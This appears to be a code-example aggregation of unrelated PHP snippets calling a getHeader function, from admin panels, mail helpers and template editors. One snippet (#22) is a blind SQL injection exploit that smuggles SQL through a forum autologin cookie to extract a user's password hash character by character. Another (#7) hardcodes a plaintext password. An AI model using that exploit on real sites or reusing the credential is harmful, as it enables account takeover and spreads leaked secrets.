示例#1
0
文件: s.php 项目: t0n9/PHPscan
function getHtmlContext($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    //表示需要response header
    curl_setopt($ch, CURLOPT_NOBODY, FALSE);
    //表示需要response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    global $header;
    if ($result) {
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $header = explode("\r\n", substr($result, 0, $headerSize));
        $body = substr($result, $headerSize);
    }
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
        return $body;
    }
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
        $location = getHeader("Location");
        if (strpos(getHeader("Location"), 'http://') == false) {
            $location = getHost($url) . $location;
        }
        return getHtmlContext($location);
    }
    return NULL;
}
示例#2
0
function sendRequest($url, $data, $proxy_host, $proxy_port, $debug = true)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, getHeader($data));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_PROXY, $proxy_host);
    curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
    $json = curl_exec($ch);
    $info = curl_getinfo($ch);
    if ($debug) {
        echo '<div style="display:none"><br>Информация о запросе:';
        echo '<br />';
        print_r($info);
        echo '<br />';
        echo $json;
        echo '<br></div>';
    }
    curl_close($ch);
    if ($info['http_code'] === 200) {
        echo "Успешный запрос<br />\r\n";
        return json_decode($json);
    } else {
        return false;
    }
}
示例#3
0
function sendMail($subject, $content, $from, $to, $replyto = "")
{
    global $specialchars;
    global $Punycode;
    $from = $Punycode->encode($from);
    $to = $Punycode->encode($to);
    $replyto = $Punycode->encode($replyto);
    @mail($specialchars->getHtmlEntityDecode($to), "=?" . CHARSET . "?B?" . base64_encode($specialchars->getHtmlEntityDecode($subject)) . "?=", $specialchars->getHtmlEntityDecode($content), getHeader($specialchars->getHtmlEntityDecode($from), $specialchars->getHtmlEntityDecode($replyto)));
}
示例#4
0
function getActivityHtml($activity, $translation)
{
    $result = "";
    $result .= getHeader($translation);
    $result .= "<tbody>";
    foreach ($activity as $admin) {
        $result .= getBody($admin);
    }
    $result .= "</tbody>";
    $result .= "</table>";
    return $result;
}
示例#5
0
function createIndexFile()
{
    $indexpage = getHeader();
    $indexpage .= markupPosts();
    $indexpage .= getFooter();
    $out = fopen('index.html', "w");
    if (!$out) {
        print "OMG";
        exit;
    }
    fwrite($out, $indexpage);
    fclose($out);
}
示例#6
0
function getActivityHtml($kills, $translation)
{
    $result = "";
    $result .= getHeader($translation);
    $result .= "<tbody>";
    $poradie = 0;
    foreach ($kills as $kill) {
        $poradie += 1;
        $result .= getBody($kill, $poradie);
    }
    $result .= "</tbody>";
    $result .= "</table>";
    return $result;
}
示例#7
0
function WhoAmIRequest($request)
{
    $authentication = new Authentication('*****@*****.**', 'kennethA20869');
    $xml = '
 <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
  ' . getHeader('Execute', $authentication) . '
  <s:Body>
   <Execute xmlns="http://schemas.microsoft.com/xrm/2011/Contracts/Services" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
    <request i:type="b:WhoAmIRequest" xmlns:a="http://schemas.microsoft.com/xrm/2011/Contracts" xmlns:b="http://schemas.microsoft.com/crm/2011/Contracts">
     <a:Parameters xmlns:c="http://schemas.datacontract.org/2004/07/System.Collections.Generic" />
     <a:RequestId i:nil="true" />
     <a:RequestName>WhoAmI</a:RequestName>
    </request>
   </Execute>
  </s:Body>
 </s:Envelope>';
    return GetSOAPResponse('https://thehangar.crm.dynamics.com/XRMServices/2011/OrganizationData.svc', $xml);
}
示例#8
0
 /**
  * 请求日志
  * @pamer
  */
 private function setRequestLog()
 {
     $_header = getHeader();
     $Requset = '';
     if (is_run_evn()) {
         if (isset($_SERVER['REQUEST_URI'])) {
             $Requset = $_SERVER['REQUEST_URI'];
         }
     } else {
         $Requset = 'cli';
     }
     $body = 'Run Start' . "\n";
     $body .= 'Host:' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . "\n";
     $body .= 'Requset:' . $Requset . "\n";
     $body .= 'Ip:' . getClient_id() . "\n";
     $body .= 'Method:' . (isset($_SERVER["REQUEST_METHOD"]) ? $_SERVER["REQUEST_METHOD"] : 'cli') . "\n";
     $body .= 'Header:' . json($_header) . "\n";
     $body .= 'Parameter:' . json(Data::all()) . "\n";
     Log::run($body);
 }
示例#9
0
function getContent($fileName)
{
    //Get and tratatives log file
    $email = file_get_contents($fileName);
    function element_to_obj($element)
    {
        $obj = array("tag" => $element->tagName);
        foreach ($element->attributes as $attribute) {
            $obj[$attribute->name] = $attribute->value;
        }
        foreach ($element->childNodes as $subElement) {
            if ($subElement->nodeType == XML_TEXT_NODE) {
                $obj["html"] = $subElement->wholeText;
            } else {
                $obj["children"][] = element_to_obj($subElement);
            }
        }
        return $obj;
    }
    function html_to_obj($html)
    {
        $dom = new DOMDocument();
        $dom->loadHTML($html);
        return element_to_obj($dom->documentElement);
    }
    $json = json_encode(html_to_obj($email), true);
    $tamanhoArray = count(json_decode($json)->children[2]->children);
    $value = json_decode($json)->children[2]->children;
    // Controle do Titulo
    for ($i = 0; $i <= $tamanhoArray; $i++) {
        $header = getHeader($value[$i]->html);
        // Controle do Conteudo
        $j = $i + 1;
        $data = array('header' => $header, 'data' => $value[$j]->html);
        $data_[] = $data;
        $i++;
    }
    return $data_;
}
示例#10
0
<?php

session_start();
require_once 'connections/db_connection.php';
//if admin is not logged in redirect to home page
if (!isset($_SESSION['admin'])) {
    $host = $_SERVER["HTTP_HOST"];
    $path = rtrim(dirname($_SERVER["PHP_SELF"]), "/\\");
    header("Location: http://{$host}{$path}/index.php");
    exit;
}
mysql_select_db($database, $connect);
include 'displays.php';
getHeader('Users', true);
?>

	<header class="container limited page-title">
		<h1>Users</h1>
	</header>

	<script type="text/javascript">

	$(document).ready(function()
	{
		$.get("getUsers.php",	
									
	 	function(data)
	 	{
	 		$("#user_list").html(data);
	 	});
	});
示例#11
0
function doHeader()
{
    echo getHeader();
}
示例#12
0
<?php

session_start();
require_once 'connections/db_connection.php';
//if admin is not logged in redirect to home page
if (!isset($_SESSION['admin'])) {
    $host = $_SERVER["HTTP_HOST"];
    $path = rtrim(dirname($_SERVER["PHP_SELF"]), "/\\");
    header("Location: http://{$host}{$path}/index.php");
    exit;
}
mysql_select_db($database, $connect);
include 'displays.php';
getHeader('Edit admin', true);
?>
	<header class="container limited page-title">
		<h1>Edit admin</h1>
	</header>
	
	<section class="container limited">	

		<?php 
if (isset($_SESSION['username_exists'])) {
    echo "<h5 class='error'>";
    echo $_SESSION['username_exists'];
    unset($_SESSION['username_exists']);
    echo "</h5>";
}
if (isset($_SESSION['update_admin'])) {
    echo "<h5 class='error'>";
    echo $_SESSION['update_admin'];
示例#13
0
文件: submit.php 项目: VSG24/ccms
<?php

getHeader();
Posts::handleSiteViewsStatic();
?>
    <div align="center" class="col-xs-12 col-sm-12 col-md-2 col-lg-2 col-md-offset-1 col-lg-offset-1">
        <a class="btn btn-warning btn-lg"><i class="mdi mdi-download"></i>&nbsp;Download</a>
        <span class="help-block">v.<?php 
echo getVersion();
?>
 Alpha</span>
    </div>

    <div class="col-xs-12 col-sm-12 col-md-4 col-lg-4 col-md-offset-1 col-lg-offset-1 div_white_left">
        <article class="post">
            <a href="submit.php"><h3 align="center" style="font-weight: bold;">Submit Page</h3></a>
            <p>You have been redirected here from a submit form in our website.</p>
            <span>Please confirm that you want to complete the action.</span><br><br>
            <span>Action: <?php 
echo 'action';
?>
</span>
            <br><br>
        </article>
    </div>
<?php 
getFooter();
示例#14
0
 /**
  * Load CodeMirror editor and various files information.
  *
  * @access protected
  * @param string $templatename
  * @param string $screenname
  * @param string $editfile
  * @param string $templates
  * @param string $files
  * @param string $cssfiles
  * @param array $otherfiles
  * @param array $myoutput
  * @return void
  */
 protected function _templatesummary($templatename, $screenname, $editfile, $templates, $files, $cssfiles, $otherfiles, $myoutput)
 {
     $tempdir = Yii::app()->getConfig("tempdir");
     $tempurl = Yii::app()->getConfig("tempurl");
     Yii::app()->loadHelper("admin/template");
     $aData = array();
     $time = date("ymdHis");
     // Prepare textarea class for optional javascript
     $templateclasseditormode = getGlobalSetting('defaulttemplateeditormode');
     // default
     if (Yii::app()->session['templateeditormode'] == 'none') {
         $templateclasseditormode = 'none';
     }
     $aData['templateclasseditormode'] = $templateclasseditormode;
     // The following lines are forcing the browser to refresh the templates on each save
     @($fnew = fopen("{$tempdir}/template_temp_{$time}.html", "w+"));
     $aData['time'] = $time;
     if (!$fnew) {
         $aData['filenotwritten'] = true;
     } else {
         @fwrite($fnew, getHeader());
         foreach ($cssfiles as $cssfile) {
             $myoutput = str_replace($cssfile['name'], $cssfile['name'] . "?t={$time}", $myoutput);
         }
         $myoutput = implode("\n", $myoutput);
         App()->getClientScript()->registerPackage('jqueryui');
         App()->getClientScript()->registerPackage('jquery-touch-punch');
         App()->getClientScript()->registerScriptFile(Yii::app()->getConfig('generalscripts') . "survey_runtime.js");
         App()->getClientScript()->render($myoutput);
         @fwrite($fnew, $myoutput);
         @fclose($fnew);
     }
     if (Yii::app()->session['templateeditormode'] !== 'default') {
         $sTemplateEditorMode = Yii::app()->session['templateeditormode'];
     } else {
         $sTemplateEditorMode = getGlobalSetting('templateeditormode', 'full');
     }
     $sExtension = substr(strrchr($editfile, '.'), 1);
     switch ($sExtension) {
         case 'css':
             $sEditorFileType = 'css';
             break;
         case 'pstpl':
             $sEditorFileType = 'html';
             break;
         case 'js':
             $sEditorFileType = 'javascript';
             break;
         default:
             $sEditorFileType = 'html';
             break;
     }
     $aData['clang'] = $this->getController()->lang;
     $aData['screenname'] = $screenname;
     $aData['editfile'] = $editfile;
     $aData['tempdir'] = $tempdir;
     $aData['templatename'] = $templatename;
     $aData['templates'] = $templates;
     $aData['files'] = $files;
     $aData['cssfiles'] = $cssfiles;
     $aData['otherfiles'] = $otherfiles;
     $aData['tempurl'] = $tempurl;
     $aData['time'] = $time;
     $aData['sEditorFileType'] = $sEditorFileType;
     $aData['sTemplateEditorMode'] = $sTemplateEditorMode;
     $aViewUrls['templatesummary_view'][] = $aData;
     return $aViewUrls;
 }
function cms_pageheader($section, $meta = '')
{
    global $_PSL;
    $pagetitle = pslgetText('Gallery');
    // The title to be displayed in the browser top
    $output = getHeader($pagetitle, $_PSL['metatags']);
    addClassRequirement("navbar", $_PSL['moduledir'] . "/" . $_PSL['module']['NavBar'] . "/NavBar.class");
    $navbar = pslNew("NavBar");
    $output .= $navbar->getNavBar();
    return $output;
}
<?php

session_start();
require_once 'connections/db_connection.php';
//if admin is not logged in redirect to home page
if (!isset($_SESSION['admin'])) {
    $host = $_SERVER["HTTP_HOST"];
    $path = rtrim(dirname($_SERVER["PHP_SELF"]), "/\\");
    header("Location: http://{$host}{$path}/index.php");
    exit;
}
mysql_select_db($database, $connect);
include 'displays.php';
getHeader('New product', true);
?>
	<header class="container limited page-title">
		<h1>New product</h1>
	</header>
	
	<section class="container limited">		

		<?php 
if (isset($_SESSION['insert_product'])) {
    echo "<h5 class='error'>";
    echo $_SESSION['insert_product'];
    unset($_SESSION['insert_product']);
    echo "</h5>";
}
?>
	
		
示例#17
0
<?php

/**
* Rest client services.
* @author KikApp PHP Generator
* @version 1.0 
*/
define('_BLOB_PATH', "http://www.devxtend.com/nicolas/DynamicComboBoxExample/services/");
define('_FOLDER', "PublicStorage/");
$fileName = getName() . "." . getExtension(getHeader("Content-Type"));
fwrite_stream(_FOLDER . $fileName, file_get_contents('php://input'));
echo json_encode(getResponse($fileName));
function getResponse($fileName)
{
    header('Content-Type: application/json; charset=utf-8');
    header('HTTP/ 201 ');
    header('GeneXus-Object-Id:  gxupload:' . _FOLDER . $fileName);
    $data = array('object_id' => _FOLDER . $fileName);
    return $data;
}
function getHeader($header)
{
    foreach (getallheaders() as $name => $value) {
        if ($name == $header) {
            return $value;
        }
    }
}
function fwrite_stream($path, $string)
{
    $fp = fopen($path, 'w');
示例#18
0
<?php 
session_start();
include "config.php";
$uid = $_GET["uid"];
$sql = "SELECT * FROM  `user` \r\nleft join `dept` on `user`.`dept` = `dept`.`deptid`\r\nwhere `uid` = '{$uid}' ";
include "connectdb.php";
include "include/view.inc.php";
getHeader("User Edit page", "User Edit page");
?>
<main>
	<div class="container">
		<div class="row">
				<div class="col-sm-2"></div><!-- end col -->
				<div class="col-sm-8">
				<?php 
mysql_query("USE siitticket");
$result = mysql_query($sql);
if (mysql_num_rows($result) != 0) {
    while ($rec = mysql_fetch_array($result)) {
        ?>
					<form name = "newUser" method = "POST" action = "editUserProcess.php" role="form">	
						<div class="form-group">
							<label for="title">Title:</label>
							<input type="text" class="form-control" id="title" name="title" value ="<?php 
        echo $rec["title"];
        ?>
" >
						</div>
						<div class="form-group">
							<label for="name">ชื่อ - นามสกุล:</label>
							<input type="text" class="form-control" id="name" name="name" value ="<?php 
示例#19
0
require "_admin/_globals.php";
require CLASS_MP_BUSINESS;
require CLASS_ADS;
$biz = new handleBusiness();
$ads = new handleAds();
$page = 1;
if ($_GET["page"] != "") {
    $page = $_GET["page"];
}
$list_biz = $biz->searchBusinesses($_GET["search"], $_GET["city"], $_GET["alpha"], $page);
$map_pointer = $list_biz["cords"];
$list_cats = $biz->listCats($_GET["search"], 1);
?>

<?php 
getHeader("public", "yes");
?>

<div class="content-full">
	<div id="link-column-container" class="white">
		<div id="link-column">
			<?php 
if ($list_cats["counter"] != "0") {
    echo $list_cats["display"];
}
if ($list_biz["cities"] != "") {
    echo $list_biz["cities"];
}
?>
			</div>
		</div>
示例#20
0
<?php

session_start();
require_once 'connections/db_connection.php';
//if admin is not logged in redirect to home page
if (!isset($_SESSION['admin'])) {
    $host = $_SERVER["HTTP_HOST"];
    $path = rtrim(dirname($_SERVER["PHP_SELF"]), "/\\");
    header("Location: http://{$host}{$path}/index.php");
    exit;
}
mysql_select_db($database, $connect);
include 'displays.php';
getHeader('Edit user', true);
?>
	<header class="container limited page-title">
		<h1>Edit user</h1>
	</header>
	
	<section class="container limited">
		
		<h5 class="error">

		<?php 
if (isset($_SESSION['username_exists'])) {
    echo $_SESSION['username_exists'];
    unset($_SESSION['username_exists']);
}
if (isset($_SESSION['update_user'])) {
    echo $_SESSION['update_user'];
    unset($_SESSION['update_user']);
session_set_cookie_params(0, $relativeurl . '/');
@session_start();
if (empty($_SESSION) || !isset($_SESSION['fieldname'])) {
    die("You don't have a valid session !");
}
$meta = '<script type="text/javascript">
    var surveyid = "' . $surveyid . '";
    var fieldname = "' . $_GET['fieldname'] . '";
    var questgrppreview  = ' . $_GET['preview'] . ';
</script>';
$meta .= '<script type="text/javascript" src="scripts/ajaxupload.js"></script>
<script type="text/javascript" src="scripts/uploader.js"></script>
<link type="text/css" href="scripts/uploader.css" rel="stylesheet" />';
$baselang = GetBaseLanguageFromSurveyID($surveyid);
$clang = new limesurvey_lang($baselang);
$header = getHeader($meta);
echo $header;
echo "<script type='text/javascript'>\n        var translt = {\n             titleFld: '" . $clang->gT('Title', 'js') . "',\n             commentFld: '" . $clang->gT('Comment', 'js') . "',\n             errorNoMoreFiles: '" . $clang->gT('Sorry, no more files can be uploaded!', 'js') . "',\n             errorOnlyAllowed: '" . $clang->gT('Sorry, only %s files can be uploaded for this question!', 'js') . "',\n             uploading: '" . $clang->gT('Uploading', 'js') . "',\n             selectfile: '" . $clang->gT('Select file', 'js') . "',\n             errorNeedMore: '" . $clang->gT('Please upload %s more file(s).', 'js') . "',\n             errorMoreAllowed: '" . $clang->gT('If you wish, you may upload %s more file(s); else you may return back to survey.', 'js') . "',\n             errorMaxReached: '" . $clang->gT('The maximum number of files has been uploaded. You may return back to survey.', 'js') . "',\n             errorTooMuch: '" . $clang->gT('The maximum number of files has been uploaded. You may return back to survey.', 'js') . "',\n             errorNeedMoreConfirm: '" . $clang->gT("You need to upload %s more files for this question.\nAre you sure you want to exit?", 'js') . "'\n            };\n    </script>\n";
$fn = $_GET['fieldname'];
$qid = $_GET['qid'];
$qidattributes = getQuestionAttributes($qid);
$body = '
        <div id="notice"></div>
        <input type="hidden" id="ia"                value="' . $fn . '" />
        <input type="hidden" id="' . $fn . '_minfiles"          value="' . $qidattributes['min_num_of_files'] . '" />
        <input type="hidden" id="' . $fn . '_maxfiles"          value="' . $qidattributes['max_num_of_files'] . '" />
        <input type="hidden" id="' . $fn . '_maxfilesize"       value="' . $qidattributes['max_filesize'] . '" />
        <input type="hidden" id="' . $fn . '_allowed_filetypes" value="' . $qidattributes['allowed_filetypes'] . '" />
        <input type="hidden" id="preview"                   value="' . $_SESSION['preview'] . '" />
        <input type="hidden" id="' . $fn . '_show_comment"      value="' . $qidattributes['show_comment'] . '" />
        <input type="hidden" id="' . $fn . '_show_title"        value="' . $qidattributes['show_title'] . '" />
示例#22
0
$hex = "0123456789abcdef";
for ($i = 1; $i <= 32; $i++) {
    $idx = 0;
    $found = false;
    while (!$found) {
        $letter = substr($hex, $idx, 1);
        /* %2527 translates to %27, which gets past magic quotes.
        This is translated to ' by urldecode. */
        $cookie = "member_id={$id};pass_hash={$pass}%2527%20OR%20id={$target}";
        $cookie .= "%20HAVING%20id={$target}%20AND%20MID(`password`,{$i},1)=%2527" . $letter;
        /* Query is in effect: SELECT * FROM ibf_members
                                               WHERE id=$id AND password='******' OR
        id=$target
                                               HAVING id=$target AND
        MID(`password`,$i,1)='$letter' */
        $header = getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie);
        if (!preg_match('/Location:(.*)act\\=Login\\&CODE\\=00\\r\\n/', $header)) {
            echo $i . ": " . $letter . "\n";
            $found = true;
            $hash .= $letter;
        } else {
            $idx++;
        }
    }
}
echo "\n\nFinal Hash: {$hash}\n";
function getHeader($server, $port, $file, $cookie)
{
    $ip = gethostbyname($server);
    $fp = fsockopen($ip, $port);
    if (!$fp) {
示例#23
0
function darwinFooter()
{
    if (getHeader("X-Darwin") !== NULL) {
        echo "  </body>\n" . "</root>";
    } else {
        echo "      </div>\n" . "    </div><!--\n" . "    --><div  id=\"footer\"><span id=\"divider\"></span>Darwin is a Bournemouth University Project</div>\n" . "  </body>\n" . "</html>\n";
    }
}
示例#24
0
文件: index.php 项目: adamaoc/tfr-mvc
<?php

getHeader($data);
?>

<div class="jumbotron inner-page-title">
  <h1><?php 
echo $data['pagetitle'];
?>
</h1>
</div>

<div class="container inner-main-wrap">
  <div class="col-sm-12">
    <ul>
    <?php 
foreach ($data['pages']['mainlinks'] as $link) {
    ?>
    	<li>
    		<a href="/<?php 
    echo $link['slug'];
    ?>
">
    			<?php 
    echo $link['pagename'];
    ?>
    		</a>
    	</li>
    <?php 
}
?>
示例#25
0
            }
            break;
        case 2:
            // hit miss
            $hits = $memcacheStats['get_hits'] == 0 ? 1 : $memcacheStats['get_hits'];
            $misses = $memcacheStats['get_misses'] == 0 ? 1 : $memcacheStats['get_misses'];
            $total = $hits + $misses;
            fill_box($image, 30, $size, 50, -$hits * ($size - 21) / $total, $col_black, $col_green, sprintf("%.1f%%", $hits * 100 / $total));
            fill_box($image, 130, $size, 50, -max(4, ($total - $hits) * ($size - 21) / $total), $col_black, $col_red, sprintf("%.1f%%", $misses * 100 / $total));
            break;
    }
    header("Content-type: image/png");
    imagepng($image);
    exit;
}
echo getHeader();
echo getMenu();
switch ($_GET['op']) {
    case 1:
        // host stats
        $phpversion = phpversion();
        $memcacheStats = getMemcacheStats();
        $memcacheStatsSingle = getMemcacheStats(false);
        $mem_size = $memcacheStats['limit_maxbytes'];
        $mem_used = $memcacheStats['bytes'];
        $mem_avail = $mem_size - $mem_used;
        $startTime = time() - array_sum($memcacheStats['uptime']);
        $curr_items = $memcacheStats['curr_items'];
        $total_items = $memcacheStats['total_items'];
        $hits = $memcacheStats['get_hits'] == 0 ? 1 : $memcacheStats['get_hits'];
        $misses = $memcacheStats['get_misses'] == 0 ? 1 : $memcacheStats['get_misses'];
示例#26
0
if (isset($_GET['mid'])) {
    $mid = escape($_GET['mid']);
    $sql = $sql . " where `ticket`.`mid` = '{$mid}' ";
} else {
    $sql = "select `ticket`.`ticketID`,`typeproblem`.`type`,`ticket`.`detail`,`ticket`.`mid` ,`ticket`.`isClose`,`user`.`title`,`user`.`name` from `ticket` left join `typeproblem` on `ticket`.`pid` = `typeproblem`.`pid` left join `user` on `ticket`.`uid` = `user`.`uid` ";
}
if (isset($_GET['isclose'])) {
    $sql = $sql . " where `ticket`.`isClose` =" . $_GET['isclose'];
}
if (isset($_GET['uid'])) {
    $sql = $sql . " where `user`.`uid` =" . $_GET['uid'];
    $uid = $_GET['uid'];
}
$sql = $sql . " LIMIT 0 , 30";
include "include/view.inc.php";
getHeader("List ticke by the machine", "List ticke by the machine");
getNav();
?>

<main>
<?php 
if (isset($_GET['uid'])) {
    echo "<div id = 'triselectionbuttons'><a href ='listTicket.php?uid={$uid}' >Ticket</a><a href ='user.php?uid={$uid}' id = 'pressed' >User Info</a><a href ='machinelist.php?uid={$uid}'>Machine List</a></div>";
}
?>
	<div class="container">
				<div class="row">
				<div class="col-sm-2"></div><!-- end col -->
				<div class="col-sm-8">
					<table class="table table-striped">
					<thead><tr><th>Type of problem</th><th>Detail</th></tr></thead>
示例#27
0
function printLoginPageWithSkin($authtype, $servertimeout = 0)
{
    global $authMechs, $HTMLheader, $skin, $printedHTMLheader;
    $skin = getAffiliationTheme($authMechs[$authtype]['affiliationid']);
    require_once "themes/{$skin}/page.php";
    $HTMLheader = getHeader(0);
    printHTMLHeader();
    print $HTMLheader;
    $printedHTMLheader = 1;
    printLoginPage($servertimeout);
}
示例#28
0
<?php

// Index Page
require_once "class.php";
include "view.inc.php";
getHeader("Manual Mode (Main Building 4th floor)", "Manual Mode (Main Building 4th floor)");
getNav();
?>
	<main>
		
		<?php 
report4thSirind();
?>

	</main>		

<?php 
getFooter();
<?php

session_start();
require_once 'connections/db_connection.php';
//if admin is not logged in redirect to home page
if (!isset($_SESSION['admin'])) {
    $host = $_SERVER["HTTP_HOST"];
    $path = rtrim(dirname($_SERVER["PHP_SELF"]), "/\\");
    header("Location: http://{$host}{$path}/index.php");
    exit;
}
mysql_select_db($database, $connect);
include 'displays.php';
getHeader('Edit gift group', true);
?>

	<header class="container limited page-title">
		<h1>Edit gift group</h1>
	</header>
	
	<section class="container limited">	

		<?php 
if (isset($_SESSION['update_group'])) {
    echo "<h5 class='error'>";
    echo $_SESSION['update_group'];
    unset($_SESSION['update_group']);
    echo "</h5>";
}
if (isset($_GET['id'])) {
    $group_id = mysql_real_escape_string(trim($_GET['id']));
示例#30
0
    $rem_scpm[$ads->rec["cpm"]] = " selected";
    if ($ads->rec["ufn"] == 1) {
        $rem_ufn = " checked";
    }
    if ($ads->rec["reset_cpm"] == 1) {
        $rem_resest = " checked";
    }
}
if (isset($_GET["m"])) {
    $mess[1] = "1 Ad created/modified successfully.";
    $message = $mess[$_GET["m"]];
}
?>

<?php 
getHeader("admin");
?>

<h3>Create a New Ad</h3>

<?php 
echo $biz->buildCard();
?>

<?php 
echo buildMessage($message);
?>

<form action="<?php 
echo $_SERVER["PHP_SELF"];
?>